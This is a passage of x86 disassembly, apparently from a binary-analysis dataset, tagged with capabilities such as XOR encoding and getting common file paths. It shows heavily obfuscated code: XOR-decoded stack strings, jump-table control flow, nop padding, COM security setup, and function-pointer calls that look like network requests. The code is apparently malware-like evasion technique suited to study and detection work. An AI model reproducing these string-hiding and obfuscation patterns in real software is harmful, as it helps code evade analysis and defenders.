Function at 0x410c41
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x240
mov dword [esp + 0x40], 0x7fed7935
mov dword [esp + 0x44], 0x630b7de2
mov dword [esp + 0x48], 0x670a610c
mov dword [esp + 0x4c], 0x6b396505
mov dword [esp + 0x50], 0x6f3c693d
mov dword [esp + 0x54], 0x93b26d3c
mov dword [esp + 0x58], 0x97ed91b8
mov dword [esp + 0x5c], 0x9b0895fd
mov dword [esp + 0x60], 0x9f0d99fc
mov dword [esp + 0x64], 0x83159d07
mov dword [esp + 0x68], 0x87f481a0
mov dword [esp + 0x6c], 0x8baa85f0
mov dword [esp + 0x70], 0x8fde89d9
mov dword [esp + 0x74], 0xb3e28dde
mov dword [esp + 0x78], 0xb796b1ef
mov dword [esp + 0x7c], 0xbbd3b5cf
mov dword [esp + 0x80], 0xbfe4b92a
mov dword [esp + 0x84], 0xa3fdbde8
mov dword [esp + 0x88], 0xa73ea180
mov dword [esp + 0x8c], 0xabfea5fe
mov dword [esp + 0x90], 0xaf8ea981
mov dword [esp + 0x94], 0xd342aded
mov dword [esp + 0x98], 0xd7bad140
mov dword [esp + 0x9c], 0xdba1d5b1
mov dword [esp + 0xa0], 0xdfb8d9bd
mov dword [esp + 0xa4], 0xc3abdd93
mov dword [esp + 0xa8], 0xc795c154
mov dword [esp + 0xac], 0xcb9dc591
mov dword [esp + 0xb0], 0xcf9cc993
mov dword [esp + 0xb4], 0xf3a8cd9b
mov dword [esp + 0xb8], 0xf7def1d0
mov dword [esp + 0xbc], 0xfbb2f5bb
mov dword [esp + 0xc0], 0xffb3f98c
mov dword [esp + 0xc4], 0xe3cefdb0
mov dword [esp + 0xc8], 0xe78ae1c0
mov dword [esp + 0xcc], 0xeb85e58d
mov dword [esp + 0xd0], 0xefcee98d
mov dword [esp + 0xd4], 0x1377eda7
mov dword [esp + 0xd8], 0x17791177
mov dword [esp + 0xdc], 0x1b331587
mov dword [esp + 0xe0], 0x1f591938
mov dword [esp + 0xe4], 0x3941d74
mov dword [esp + 0xe8], 0x76b0193
mov dword [esp + 0xec], 0xb590561
mov dword [esp + 0xf0], 0xf5f0959
mov dword [esp + 0xf4], 0x33600d55
mov dword [esp + 0xf8], 0x37643160
mov dword [esp + 0xfc], 0x3b683564
mov dword [esp + 0x100], 0x3f1e3968
mov dword [esp + 0x104], 0x23433d4b
mov dword [esp + 0x108], 0x2747214a
mov dword [esp + 0x10c], 0x2b4325b2
mov dword [esp + 0x110], 0x2f7b297b
mov dword [esp + 0x114], 0x53092d7b
mov dword [esp + 0x118], 0x57015102
mov dword [esp + 0x11c], 0x5b5a550e
mov word [esp + 0x120], 0
mov eax, dword [0x44f190]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xea
xor dl, byte [esp + ecx + 0x40]
add dl, 0x6e
mov byte [esp + ecx + 0x40], dl
inc ecx
cmp ecx, 0xe2
jne case.default.0x4103c1
lea edi, [esp + 0x40]
push 0
push 0
push 0
push 0
push edi
call eax
mov ebp, eax
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x449c20]
xor ebx, ebx
jmp 0x4107cf
mov eax, dword [0x44f194]
mov dword [esp + 0x40], 0x898a9449
mov word [esp + 0x44], 0
xor ecx, ecx
mov edx, 0xc
nop
nop
nop
nop
nop
nop
mov esi, edx
and esi, 0xe
mov ebx, ecx
and ebx, 1
or ebx, esi
xor bl, byte [esp + ecx + 0x40]
xor bl, 0xaf
add bl, 0xd1
mov byte [esp + ecx + 0x40], bl
inc ecx
dec edx
cmp ecx, 6
jne case.default.0x410428
movzx ecx, word [esp + 0x40]
push 0
push ecx
push 0x44f1c4
push ebp
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x449c28]
xor ebx, ebx
jmp 0x4107c8
mov dword [esp], eax
mov dword [esp + 0x3c], ebp
mov eax, dword [0x44f198]
mov dword [esp + 0x38], eax
mov dword [esp + 4], 0xc146c7c4
mov word [esp + 8], 0
mov ecx, 0x7bab9131
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x7bab912d]
lea eax, [ecx - 0x7bab9100]
and eax, edx
mov ebx, eax
and ebx, 2
mov ebp, eax
or ebp, 0xfd
inc ebp
mov esi, eax
and esi, 0x3d
imul esi, ebp
or eax, 2
imul eax, ebx
sub esi, eax
mov eax, ecx
and eax, edx
xor edx, ecx
lea eax, [edx + eax*2]
add eax, esi
add al, 0xb
mov byte [esp + ecx - 0x7bab912d], al
inc ecx
cmp ecx, 0x7bab9137
jne 0x410460
mov eax, dword [esp + 4]
mov dword [esp + 0x34], eax
mov dword [esp + 0x40], 0xc30dc170
mov dword [esp + 0x44], 0xc772c577
mov word [esp + 0x48], 0xc9c8
mov dword [esp + 0x4a], 0
mov word [esp + 0x4e], 0
mov edx, 0xb0
mov ebx, 0x51d21a4f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx - 0x70]
mov ecx, edx
and ecx, eax
lea esi, [ebx - 0x51d21a00]
and esi, eax
mov ebp, ebx
xor ebp, eax
sub ebp, eax
add ebp, esi
or ebp, ecx
mov eax, 0x991a838e
sub eax, ebp
mov esi, eax
and esi, 1
add ebp, 0x66e57c71
mov ecx, ebp
not ecx
and ebp, 0xc5
and eax, 0x3a
or eax, ebp
and ecx, 1
or ecx, eax
xor ecx, 0xc4
add ecx, esi
mov byte [esp + edx - 0x70], cl
inc edx
dec ebx
cmp edx, 0xc0
jne case.default.0x41056d
push dword [esp + 0x34]
push 0
push 0
push 0
push dword [esp + 0x264]
push edi
mov esi, dword [esp + 0x18]
push esi
call dword [esp + 0x54]
mov ebp, eax
xor eax, eax
test ebp, ebp
setne al
xor ebx, ebx
jmp dword [eax*4 + 0x449c30]
xor eax, eax
mov ecx, dword [esp + 0x26c]
test ecx, ecx
setg al
jmp dword [eax*4 + 0x449c38]
movzx eax, byte [0x44f2c8]
jmp dword [eax*4 + 0x449c40]
push ecx
push ecx
push ecx
push ecx
push ebp
call dword [0x44f1a0]
movzx eax, byte [0x44f2c8]
jmp dword [eax*4 + 0x449c40]
mov dword [esp + 4], 0xcf5dc90f
mov dword [esp + 8], 0xc35dcd5f
mov dword [esp + 0xc], 0xc763c159
mov dword [esp + 0x10], 0xbb5ac50a
mov dword [esp + 0x14], 0xbf1db91b
mov dword [esp + 0x18], 0xb328bd1b
mov dword [esp + 0x1c], 0xb72bb113
mov dword [esp + 0x20], 0xab09b53f
mov dword [esp + 0x24], 0xaf27a90e
mov dword [esp + 0x28], 0xa36fad3c
mov dword [esp + 0x2c], 0xa1a0
mov byte [esp + 0x30], 0
mov eax, 0x41e8a032
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x41e8a02e]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 6
mov byte [esp + eax - 0x41e8a02e], cl
inc eax
cmp eax, 0x41e8a05f
jne 0x410620
movzx eax, word [esp + 4]
test ax, ax
je 0x410671
lea edi, [esp + 0x40]
lea ecx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x410660
mov word [edi], 0
movzx eax, word [0x44f2ca]
test ax, ax
je 0x4106a5
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi + ecx], ax
movzx eax, word [ecx + 0x44f2cc]
add ecx, 2
test ax, ax
jne 0x410690
add edi, ecx
mov word [edi], 0
mov eax, dword [0x44f1a4]
mov dword [esp + 4], 0x110e0f0c
mov ecx, 0xa59fcabd
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x5a603547]
xor edx, ecx
mov esi, edx
and esi, 1
or edx, 1
add edx, esi
add dl, 0x4e
mov byte [esp + ecx + 0x5a603547], dl
inc ecx
cmp ecx, 0xa59fcac1
jne 0x4106c0
lea ecx, [esp + 0x40]
push dword [esp + 4]
push 0xffffffffffffffff
push ecx
push ebp
call eax
xor ebx, ebx
mov ecx, dword [esp + 0x258]
mov eax, ecx
neg eax
mov eax, 0
sbb eax, eax
push 0
mov esi, dword [esp + 0x26c]
push esi
push dword [esp + 0x268]
push dword [esp + 0x268]
push eax
push ecx
push ebp
call dword [0x44f1a8]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x449c48]
mov dword [esp + 0x40], 0
lea eax, [esp + 0x40]
push eax
push esi
push dword [esp + 0x26c]
push ebp
call dword [0x44f1b8]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x449c50]
push 0
push ebp
call dword [0x44f1ac]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x449c58]
mov bl, 1
mov eax, dword [case.0x41056d.5]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov esi, dword [esp]
jmp dword [0x449c70]
push ebp
call dword [0x44f1bc]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
call dword [0x44f1bc]
jmp dword [0x449c78]
push esi
call dword [0x44f1bc]
mov ebp, dword [esp + 0x3c]
push ebp
call dword [0x44f1bc]
mov eax, ebx
add esp, 0x240
pop esi
pop edi
pop ebx
pop ebp
ret
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
nop
push eax
sub esp, 0x7c
mov dword [esi + 0x6c], esp
sub esp, 8
mov dword [esi + 0x68], esp
sub esp, 0x20
mov dword [esi + 8], esp
push eax
mov dword [esi + 0x8c], esp
push eax
mov dword [esi + 0x10], esp
sub esp, 0x68
mov dword [esi + 4], esp
sub esp, 0x10
mov dword [esi], esp
sub esp, 0x208
mov dword [esi + 0x88], esp
push eax
mov dword [esi + 0xc], esp
sub esp, 8
mov dword [esi + 0x70], esp
sub esp, 8
mov dword [esi + 0x48], esp
push eax
mov dword [esi + 0x7c], esp
sub esp, 0x68
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x64], eax
mov esp, eax
push eax
sub esp, 0x64
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x60], eax
mov esp, eax
push eax
sub esp, 0x64
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x5c], eax
mov esp, eax
push eax
sub esp, 0x64
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x58], eax
mov esp, eax
push eax
sub esp, 0x64
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x54], eax
mov esp, eax
push eax
sub esp, 0x64
mov edi, esp
and edi, 0xfffffff8
mov esp, edi
push eax
sub esp, 0xfc
mov dword [esi + 0x50], esp
sub esp, 8
mov dword [esi + 0x4c], esp
sub esp, 8
mov dword [esi + 0x20], esp
sub esp, 0x24
mov dword [esi + 0x34], esp
push eax
mov dword [esi + 0x44], esp
push eax
mov dword [esi + 0x84], esp
sub esp, 0x68
mov dword [esi + 0x14], esp
sub esp, 0x10
mov dword [esi + 0x80], esp
sub esp, 0x68
mov ebx, esp
and ebx, 0xfffffff8
mov esp, ebx
push eax
sub esp, 0xc
mov dword [esi + 0x1c], esp
sub esp, 0x800
mov dword [esi + 0x2c], esp
sub esp, 0x80
mov dword [esi + 0x18], esp
sub esp, 0x44
mov dword [esi + 0x30], esp
sub esp, 0x10
mov dword [esi + 0x28], esp
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
jmp dword [0x44a384]
mov dword [esi + 0x24], ebx
mov dword [esi + 0x40], edi
shr eax, 0x1f
jmp dword [eax*4 + 0x44a38c]
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
shr eax, 0x1f
jmp dword [eax*4 + 0x44a394]
push 0x44f164
call fcn.0043a6f0
add esp, 4
mov eax, dword [str.5c9b8674a630d9101b46733aa37f15ec]
mov dword [esi + 0x78], eax
mov edx, dword [esi + 0x68]
mov dword [edx], 0xe32f1bc6
mov word [edx + 4], 0
mov byte [edx + 6], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add al, 0x28
xor al, byte [edx + ecx]
add al, 0x38
mov byte [edx + ecx], al
inc ecx
cmp ecx, 7
jne 0x410970
mov eax, dword [str.tLYMe5__111]
mov dword [esi + 0x74], eax
mov eax, dword [esi + 8]
mov dword [eax], 0x92aaa6a9
mov dword [eax + 4], 0xbabdb8aa
mov dword [eax + 8], 0xaabdbcaa
mov dword [eax + 0xc], 0xbaa5a2b1
mov dword [eax + 0x10], 0x9d4cb4b3
mov dword [eax + 0x14], 0x5fa79b89
mov dword [eax + 0x18], 0x9b445152
mov dword [eax + 0x1c], 0x6baf8185
xor eax, eax
xor ebx, ebx
mov edi, dword [esi + 0x6c]
nop
nop
nop
nop
nop
mov ecx, ebx
xor ecx, 0x72
mov edx, eax
and edx, 0x1a
sub edx, ecx
mov ecx, dword [esi + 8]
xor dl, byte [ecx + ebx]
add dl, 0x3a
mov byte [ecx + ebx], dl
inc ebx
add eax, 2
cmp ebx, 0x20
jne 0x4109d0
movzx edx, byte [ecx]
mov ebx, edi
test dl, dl
je 0x410a0b
inc ecx
mov ebx, edi
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x410a00
mov byte [ebx], 0
mov ecx, dword [esi + 0x74]
movzx edx, byte [ecx]
test dl, dl
mov eax, dword [esi + 4]
je 0x410a2b
inc ecx
nop
nop
nop
nop
mov byte [ebx], dl
inc ebx
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x410a20
mov byte [ebx], 0
mov edx, dword [esi + 0x68]
movzx ecx, byte [edx]
test cl, cl
je 0x410a4b
inc edx
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x410a40
mov byte [ebx], 0
mov edx, dword [esi + 0x78]
movzx ecx, byte [edx]
test cl, cl
je 0x410a6b
inc edx
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], cl
inc ebx
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x410a60
mov dword [esi + 8], ebx
mov byte [ebx], 0
mov dword [eax], 0x239d21e3
mov dword [eax + 4], 0x2792259a
mov dword [eax + 8], 0x3b84399d
mov dword [eax + 0xc], 0x3fc33d88
mov dword [eax + 0x10], 0x33bb31e4
mov dword [eax + 0x14], 0x37933584
mov dword [eax + 0x18], 0xbea09c2
mov dword [eax + 0x1c], 0xfbe0dad
mov dword [eax + 0x20], 0x3be01b0
mov dword [eax + 0x24], 0x7a505bd
mov dword [eax + 0x28], 0x1bae19b9
mov dword [eax + 0x2c], 0x1fa11da5
mov dword [eax + 0x30], 0x13ed11ae
mov dword [eax + 0x34], 0x17eb159c
mov dword [eax + 0x38], 0xeb5de95f
mov dword [eax + 0x3c], 0xef13ed5b
mov dword [eax + 0x40], 0xe35de146
mov dword [eax + 0x44], 0xe75be556
mov dword [eax + 0x48], 0xfb4ff905
mov dword [eax + 0x4c], 0xff42fd4e
mov dword [eax + 0x50], 0xf34cf155
mov dword [eax + 0x54], 0xf749f557
mov dword [eax + 0x58], 0xcb6fc96c
mov dword [eax + 0x5c], 0xcfd3cd68
mov dword [eax + 0x60], 0xc3c2c1da
mov byte [eax + 0x66], 0
mov word [eax + 0x64], 0
mov eax, 0x78c5dec8
nop
nop
mov ecx, dword [esi + 4]
movzx ecx, byte [ecx + eax - 0x78c5dec8]
mov edx, ecx
not edx
or edx, eax
lea edi, [ecx + edx]
inc edi
mov ebx, edi
and ebx, 0xfffffffd
mov edx, edi
or edx, 0xfffffffd
inc edx
imul edx, ebx
mov ebx, edi
and ebx, 2
or edi, 2
imul edi, ebx
add edx, ecx
sub edx, edi
add edx, eax
mov ecx, edx
and ecx, 0x17
xor edx, 0x17
lea ecx, [edx + ecx*2]
inc cl
mov edx, dword [esi + 4]
mov byte [edx + eax - 0x78c5dec8], cl
inc eax
cmp eax, 0x78c5df2f
jne 0x410b30
mov edi, dword [esi + 0x6c]
sub dword [esi + 8], edi
mov eax, dword [esi]
mov dword [eax], 0x812587f5
mov dword [eax + 4], 0x8d298330
mov dword [eax + 8], 0x8f8c
mov byte [eax + 0xc], 0
xor ecx, ecx
mov ebx, dword [esi + 0x8c]
jmp dword [0x44a39c]
xor eax, eax
cmp eax, 0xc
ja 0x410be2
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
xor ecx, 0xde
mov edx, eax
or edx, 0x21
and ecx, edx
add ecx, edx
mov edx, dword [esi]
xor cl, byte [edx + eax]
add cl, 0x5b
mov byte [edx + eax], cl
inc eax
cmp eax, 0xc
jbe 0x410bc0
push dword [esi + 0x10]
push ebx
push dword [esi + 8]
push edi
push dword [esi + 4]
push dword [esi]
push 0x44f1c4
call fcn.0040f970
add esp, 0x1c
xor ecx, ecx
nop
nop
mov eax, ecx
xor eax, 0xde
mov edx, ecx
or edx, 0x21
and eax, edx
add eax, edx
mov edx, dword [esi]
xor al, byte [edx + ecx]
add al, 0x5b
mov byte [edx + ecx], al
inc ecx
cmp ecx, 0xd
jne case.0x41056d.29
push dword [esi + 0x10]
push ebx
push dword [esi + 8]
push edi
push dword [esi + 4]
push edx
push 0x44f1c4
call fcn.0040f970
add esp, 0x1c
xor ecx, ecx
jmp dword [0x44a3a8]
movzx eax, al
jmp dword [eax*4 + 0x44a3ac]
xor ebx, ebx
xor eax, eax
test ebx, 0
sete al
jmp dword [eax*4 + 0x44a3b4]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push 0x104
push dword [esi + 0x88]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov eax, dword [esi + 0x10]
mov ecx, dword [eax]
mov edi, dword [ebx]
lea eax, [ecx + ecx*2]
shr eax, 2
movzx edx, byte [edi + ecx - 1]
cmp edx, 0x3d
je 0x410c9c
cmp edx, 0x2e
jne 0x410c9d
dec eax
movzx ecx, byte [edi + ecx - 2]
cmp ecx, 0x3d
je 0x410cac
cmp ecx, 0x2e
jne 0x410cad
dec eax
mov dword [esi], edi
push eax
call fcn.0040c8b0
add esp, 4
mov edi, eax
push eax
push dword [esi]
call fcn.0043b2f0
add esp, 8
push dword [ebx]
mov ebx, edi
call fcn.0043dc40
add esp, 4
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x44a3b4]
push ebx
call fcn.00403d70
add esp, 4
mov edi, eax
jmp dword [0x44a3bc]
push ebx
call fcn.0040c8c0
add esp, 4
mov dword [esi + 0x10], edi
push edi
call fcn.004046d0
add esp, 4
mov dword [esi + 4], eax
mov eax, dword [esi + 0xc]
mov dword [eax], 0x9ef4e2
xor ecx, ecx
mov edi, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esi], edi
mov ebx, dword [esi]
or ebx, 0x86b94f9a
lea edi, [ecx + ebx]
inc edi
mov edx, edi
and edx, 0xfffffffd
mov eax, edi
and eax, 2
or edi, 2
imul edi, eax
xor eax, 2
imul eax, edx
mov edx, ecx
or edx, 0x7946b065
and edx, ebx
not edx
add edx, edi
mov edi, dword [esi + 0xc]
movzx edi, byte [edi + ecx]
add edx, eax
mov ebx, edx
and ebx, edi
add ebx, ebx
add edx, edi
mov eax, edx
sub eax, ebx
mov edi, dword [esi]
and edx, 1
or eax, 1
add eax, edx
add al, 0xfd
mov edx, dword [esi + 0xc]
mov byte [edx + ecx], al
mov eax, dword [esi + 0xc]
inc ecx
dec edi
cmp ecx, 4
jne case.default.0x410d96
push eax
push dword [esi + 4]
call fcn.00404750
add esp, 8
xor ecx, ecx
test eax, eax
setg cl
jmp dword [ecx*4 + 0x44a3c4]
call fcn.00439ba0
movzx eax, al
jmp dword [eax*4 + 0x44a3cc]
mov ecx, dword [esi + 0x70]
mov word [ecx], 0xdbdf
mov byte [ecx + 2], 0x3e
mov word [ecx + 3], 0
mov byte [ecx + 5], 0
mov eax, 0x24f86745
mov edi, 0xdb07999a
nop
nop
nop
nop
movzx ecx, byte [ecx + eax - 0x24f86745]
mov dword [esi], ecx
lea edx, [eax - 0x24f866d0]
and edx, ecx
mov ebx, edx
and ebx, 0x7d
mov ecx, edx
or ecx, 0xfffffffd
inc ecx
imul ecx, ebx
mov ebx, edx
and ebx, 2
or edx, 2
imul edx, ebx
mov ebx, dword [esi]
add ebx, ecx
sub ebx, edx
sub edx, ecx
mov ecx, dword [esi + 0x70]
sub edx, dword [esi]
add ebx, eax
add edx, edi
and edx, 0x1a
and ebx, 0xe5
sub ebx, edx
inc bl
mov byte [ecx + eax - 0x24f86745], bl
inc eax
dec edi
cmp eax, 0x24f8674b
jne 0x410dd0
push ecx
push dword [esi + 4]
call fcn.00404750
add esp, 8
mov dword [esi + 0xc], eax
mov ecx, dword [esi + 0x48]
mov word [ecx], 0x6c63
mov byte [ecx + 2], 0x92
mov dword [ecx + 3], 0
mov byte [ecx + 7], 0
mov eax, 0xe0775423
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esi], ecx
movzx ebx, byte [ecx]
mov edi, ebx
and edi, 9
lea ecx, [eax + 0x40000000]
and ecx, 0x20450009
mov edx, eax
and edx, 0xc0325436
or edx, ecx
mov ecx, ebx
not ecx
or ecx, 0xcf3af7f6
add ecx, ebx
inc ecx
xor edi, ecx
not ecx
or ecx, ebx
xor edi, 0x30c50809
not ecx
and ecx, 0x30c50809
or ecx, edi
xor edx, 0xcf3af7f6
mov edi, ecx
and edi, edx
add edx, ecx
mov ecx, dword [esi]
add edi, edi
sub edx, edi
add dl, 0xb4
mov byte [ecx], dl
inc ecx
dec eax
cmp eax, 0xe077541b
jne 0x410e60
push dword [esi + 0x48]
push dword [esi + 4]
call fcn.00404750
add esp, 8
mov edi, dword [esi + 0x7c]
mov dword [edi], 0x19b3b5b0
xor ecx, ecx
nop
nop
nop
nop
mov edx, ecx
add dl, 0xfb
xor dl, byte [edi + ecx]
add dl, 0x19
mov byte [edi + ecx], dl
inc ecx
cmp ecx, 4
jne case.default.0x410fe4
xor ebx, ebx
test eax, eax
setg bl
push edi
mov edi, dword [esi + 4]
push edi
call fcn.00404750
add esp, 8
mov dword [esi + 8], eax
push edi
call fcn.004118f0
add esp, 4
push dword [esi + 0x10]
call fcn.00404940
add esp, 4
mov edi, dword [esi + 0x64]
mov ecx, edi
push 1
call fcn.0040d280
push edi
call fcn.00427230
add esp, 4
mov ecx, edi
call fcn.0040db20
mov edi, dword [esi + 0x60]
mov ecx, edi
push 3
call fcn.0040d280
push edi
call fcn.004279a0
add esp, 4
mov ecx, edi
call fcn.0040db20
mov edi, dword [esi + 0x5c]
mov ecx, edi
push 1
call fcn.0040d280
push edi
call fcn.00427b90
add esp, 4
mov ecx, edi
call fcn.0040db20
mov edi, dword [esi + 0x58]
mov ecx, edi
push 1
call fcn.0040d280
push edi
call fcn.00429d00
add esp, 4
push edi
call fcn.0042a6d0
add esp, 4
push edi
call fcn.0042aa40
add esp, 4
push edi
call fcn.0042d360
add esp, 4
mov ecx, edi
call fcn.0040db20
mov edi, dword [esi + 0x54]
mov ecx, edi
push 1
call fcn.0040d280
push edi
call fcn.0042c3e0
add esp, 4
mov ecx, edi
call fcn.0040db20
mov edi, dword [esi + 0x40]
mov ecx, edi
push 1
call fcn.0040d280
push edi
call fcn.0042eb60
add esp, 4
push edi
call fcn.00435210
add esp, 4
jmp dword [ebx*4 + 0x44a3d4]
push edi
call fcn.004353c0
add esp, 4
mov ecx, edi
call fcn.0040db20
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [esi + 0x4c]
mov dword [ecx], 0xc6b3c30e
mov dword [ecx + 4], 0x2eeccc
mov eax, 8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [ecx]
lea edx, [eax - 0xd78bb00]
or edx, edi
and edi, eax
not edx
or edx, edi
mov edi, edx
and edi, 0x2c
mov ebx, edx
xor ebx, 0x2c
lea ebx, [ebx + edi*2]
and edx, 1
or ebx, 1
add ebx, edx
mov byte [ecx], bl
inc ecx
dec eax
jne 0x411020
mov eax, dword [str.5c9b8674a630d9101b46733aa37f15ec]
mov dword [esi + 4], eax
mov eax, dword [esi + 0x20]
mov dword [eax], 0x97530f42
mov dword [eax + 4], 0
mov ecx, 0xb3c35e66
mov edx, 0x4c3ca199
mov edi, 0x33c35e66
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esi], edx
mov ebx, dword [esi]
and ebx, 0x4424a00b
mov eax, ecx
and eax, 0x3801c24
or eax, ebx
mov edx, dword [esi + 0x20]
movzx ebx, byte [edx + ecx + 0x4c3ca19a]
xor eax, ebx
xor eax, 0xb981db4
and eax, edi
add eax, eax
sub ebx, eax
add ebx, ecx
mov eax, ebx
xor eax, 0xfe
or ebx, 1
and eax, ebx
add eax, ebx
mov edx, dword [esi]
inc al
mov ebx, dword [esi + 0x20]
mov byte [ebx + ecx + 0x4c3ca19a], al
inc ecx
dec edx
inc edi
cmp ecx, 0xb3c35e6e
jne 0x411080
mov edx, dword [str.tLYMe5__111]
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0xf2bac6d9
mov dword [ecx + 4], 0xd0bec8cf
mov dword [ecx + 8], 0x4041ccc5
mov dword [ecx + 0xc], 0xf137362d
mov dword [ecx + 0x10], 0x2483442
mov dword [ecx + 0x14], 0xf9f2f708
mov dword [ecx + 0x18], 0x1a223834
mov byte [ecx + 0x1c], 0xdc
mov dword [ecx + 0x1d], 0
mov dword [ecx + 0x20], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx + eax]
mov ecx, 0x89
sub ecx, eax
lea edi, [eax + 0x76]
or edi, ebx
not ebx
or ebx, ecx
and ebx, edi
add bl, 0xb2
mov ecx, dword [esi + 0x34]
mov byte [ecx + eax], bl
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
mov ecx, dword [esi + 0x34]
cmp eax, 0x24
jb 0x411130
movzx ebx, byte [ecx]
mov edi, dword [esi + 0x50]
mov eax, edi
test bl, bl
je 0x41118b
inc ecx
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [ecx]
inc ecx
test bl, bl
jne 0x411180
mov byte [eax], 0
movzx ebx, byte [edx]
test bl, bl
mov ecx, dword [esi + 0x20]
je 0x4111ab
inc edx
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x4111a0
mov byte [eax], 0
movzx edx, byte [ecx]
test dl, dl
je 0x4111cd
inc ecx
mov ebx, dword [esi + 0x14]
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x4111c0
jmp 0x4111d0
mov ebx, dword [esi + 0x14]
mov byte [eax], 0
mov ecx, dword [esi + 4]
movzx edx, byte [ecx]
test dl, dl
je 0x4111eb
inc ecx
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x4111e0
mov byte [eax], 0
mov edx, dword [esi + 0x4c]
movzx ecx, byte [edx]
test cl, cl
je 0x41120b
inc edx
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x411200
mov byte [eax], 0
movzx ecx, byte [0x44f164]
test cl, cl
je 0x411231
xor edx, edx
nop
nop
nop
nop
nop
mov byte [eax + edx], cl
movzx ecx, byte [edx + 0x44f165]
inc edx
test cl, cl
jne 0x411220
add eax, edx
mov byte [eax], 0
mov ecx, edi
not ecx
and ecx, eax
add ecx, ecx
mov dword [ebx], 0xcf5dc98f
mov dword [ebx + 4], 0xc356cd5e
mov dword [ebx + 8], 0xc754c1a5
mov dword [ebx + 0xc], 0xfba7c550
mov dword [ebx + 0x10], 0xff77f98c
mov dword [ebx + 0x14], 0xf397fd6c
mov dword [ebx + 0x18], 0xf7d6f1be
mov dword [ebx + 0x1c], 0xeb7af595
mov dword [ebx + 0x20], 0xef72e978
mov dword [ebx + 0x24], 0xe385ed75
mov dword [ebx + 0x28], 0xe772e181
mov dword [ebx + 0x2c], 0x1b89e57d
mov dword [ebx + 0x30], 0x1f4d198a
mov dword [ebx + 0x34], 0x134f1d94
mov dword [ebx + 0x38], 0x179d119b
mov dword [ebx + 0x3c], 0xb57159f
mov dword [ebx + 0x40], 0xf9d0992
mov dword [ebx + 0x44], 0x39f0d9a
mov dword [ebx + 0x48], 0x793015d
mov dword [ebx + 0x4c], 0x3ba60592
mov dword [ebx + 0x50], 0x3fac395d
mov dword [ebx + 0x54], 0x33a13d5b
mov dword [ebx + 0x58], 0x37533154
mov dword [ebx + 0x5c], 0x2b173550
mov dword [ebx + 0x60], 0x2f2e2916
mov byte [ebx + 0x66], 0
mov word [ebx + 0x64], 0
xor eax, edi
mov edx, 0x2cddefd2
nop
nop
nop
nop
nop
movzx edi, byte [ebx + edx - 0x2cddefd2]
xor edi, edx
mov ebx, edi
and ebx, 0x65
add ebx, ebx
xor edi, 0x1a
sub ebx, edi
mov edi, dword [esi + 0x14]
